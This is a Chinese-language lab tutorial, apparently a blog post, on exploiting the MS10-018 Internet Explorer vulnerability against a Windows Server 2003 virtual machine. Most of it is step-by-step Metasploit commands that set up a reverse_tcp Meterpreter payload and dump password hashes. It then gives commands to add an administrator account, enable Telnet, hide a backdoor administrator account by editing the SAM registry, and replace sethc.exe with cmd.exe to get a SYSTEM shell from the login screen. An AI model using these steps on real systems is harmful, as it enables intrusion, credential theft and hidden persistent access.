利用Windows系统的漏洞-MS10-018漏洞的利用

MS10-018 攻击流程原理

  1. 攻击者(Kali) 用 Metasploit 生成 恶意网页链接

  2. 诱导受害者 让 Windows 2003 用 IE6/7/8 打开链接。

  3. 漏洞触发 IE 解析网页 → 触发漏洞 → 执行攻击者代码

  4. 反弹连接 目标主机主动连接 Kali → 建立 Meterpreter 控制会话

  5. 完全控制抓密码 Hash、添加管理员账户、开 Telnet、开远程桌面。

参考: Windows权限维持之隐藏账户 - 知乎

一、实验环境准备

  1. 虚拟机软件:VMware Workstation
  2. 攻击机:Kali Linux 2020(IP:192.168.118.88)
  3. 靶机:Windows Server 2003(IP:192.168.118.103)
  4. 网络配置:两台虚拟机设置为nat,确保互通

kali关闭防火墙

复制代码
sudo iptables -F          # 清空 filter 表规则
sudo iptables -X          # 删除自定义链
sudo iptables -t nat -F    # 清空 nat 表
sudo iptables -t nat -X

sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT

二、MS10-018 IE 浏览器漏洞利用完整步骤

(一)攻击机(Kali)操作

  1. 启动 Metasploit 打开终端,执行:

    复制代码
    msfconsole

2.搜索 MS10-018 漏洞模块

复制代码
search ms10_018

3. 加载漏洞利用模块

复制代码
use exploit/windows/browser/ms10_018_ie_behaviors

4. 设置反弹 Payload

复制代码
set payload windows/meterpreter/reverse_tcp

5.查看需要配置的参数

复制代码
show options

6.设置攻击机 IP(WEB 服务器地址)

复制代码
set SRVHOST 192.168.118.88

7.设置反弹连接 IP

复制代码
  set LHOST 192.168.137.102
  • 设置恶意网页名称(可选)

    复制代码
    set URIPATH MS10_018
  • 注意:需要提前关闭 ie的安全增强设置

  • 还需要关闭 ie的安全配置 设置低级

  • 发起攻击,启动恶意服务器 (二)靶机(Win2003)操作打开IE 6/7/8 浏览器访问攻击机生成的链接:http://192.168.118.88:8080/MS10_018 http://192.168.118.88:8080/MS10_018

  1. 攻击机自动获取 Meterpreter 会话

(三)后渗透控制(攻击机)

  1. 查看已建立的会话

    复制代码
    sessions
  2. 进入会话

    复制代码
    sessions -i 2
  3. 获取系统密码 Hash

    复制代码
    hashdump
  4. 进入系统 CMD Shell

    复制代码
    shell
  5. 添加管理员账户

    复制代码
    net user hacker 123456 /add
    net localgroup administrators hacker /add
  6. 开启 Telnet 服务

复制代码
    sc config tlntsvr start= auto
    sc start tlntsvr

验证telnet后门服务


三、Windows Server 2003 隐藏后门账户完整步骤

步骤 1:创建带 $ 符号的隐藏用户

复制代码
net user hzq$ 123456 /add

步骤 2:加入管理员组

复制代码
net localgroup administrators hzq$ /add

步骤 3:打开注册表并赋予 SAM 权限

  1. 运行 regedit
  2. 定位:HKEY_LOCAL_MACHINE\SAM\SAM
  3. 右键 → 权限 → 给 Administrators 组完全控制
  4. 重启注册表,即可展开 SAM 子项

步骤 4:替换管理员权限配置(核心)

  1. 展开:SAM\Domains\Accounts\Users
  2. 找到管理员项:000001F4(RID=500)
  3. 复制右侧F 键值全部内容
  4. 找到新建用户项:000003F1()
  5. 用管理员 F 值覆盖 该用户 F 值

步骤 5:导出注册表项

  1. 导出 Names\hzq$ → 保存为 hzq$.reg
  2. 导出 Users\000003F0 → 保存为 3f0.reg

步骤 6:命令行删除用户

复制代码
net user hzq$ /del

步骤 7:重新导入注册表文件

双击导入 hzq$.reg3f0.reg

步骤 8:验证隐藏效果

  1. 执行 net user看不到 hzq$
  2. 远程桌面登录 hzq$成功进入管理员桌面

四、粘滞键 CMD 后门(sethc.exe)完整步骤

步骤 1:备份原系统文件

复制代码
cd C:\WINDOWS\system32
copy sethc.exe sethc.exe.bak

步骤 2:替换 sethc.exe 为 cmd.exe

复制代码
copy cmd.exe sethc.exe

步骤 3:测试后门

  1. 注销 Windows Server 2003
  2. 登录界面 连续按 5 次 Shift
  3. 直接弹出SYSTEM 权限 CMD 窗口
  4. 可执行添加账户、修改密码等任意操作
相关推荐
百事牛科技1 小时前
PPT只读怎么取消?四种情况分别处理
windows·powerpoint
熊明才20 小时前
WSL2 网络突然瘫痪(Network is unreachable / 没有 eth0)最短修复指南(2026年9月20日亲测可用)
linux·windows·wsl2
xbzb1 天前
Windows 启动故障修复知识整理:蓝屏 / 无限重启 / 盘符 X / 无 PE 盘
windows
我命由我123451 天前
Mac 操作系统 - 一些使用记录
运维·windows·学习·系统安全·运维开发·mac·学习方法
kakakahahahaha2 天前
Windows Steam 游戏存档在哪里?定位和恢复排查流程
windows·其他·电脑·笔记本电脑·内容运营·软件需求
Xy-unu2 天前
Windows 开启外接显示器 HDR 后外接显示器无信号、无法扩展模式故障记录
windows
troy1282 天前
Codex 安全盲区:代码漏洞生成实测
windows·python·ci/cd·pycharm·django·github·fastapi
其实防守也摸鱼2 天前
常见安全架构中 Shiro 的认证确认机制解析
运维·服务器·数据库·windows·github
五_谷_丰_登2 天前
windows批处理脚本(bat)问题解决方案大全——持续更新
windows·bat
YCOSA20252 天前
迎双节 雨晨 Windows 11 IoT 企业版 LTSC 26H1 轻装 28000.2956
windows·物联网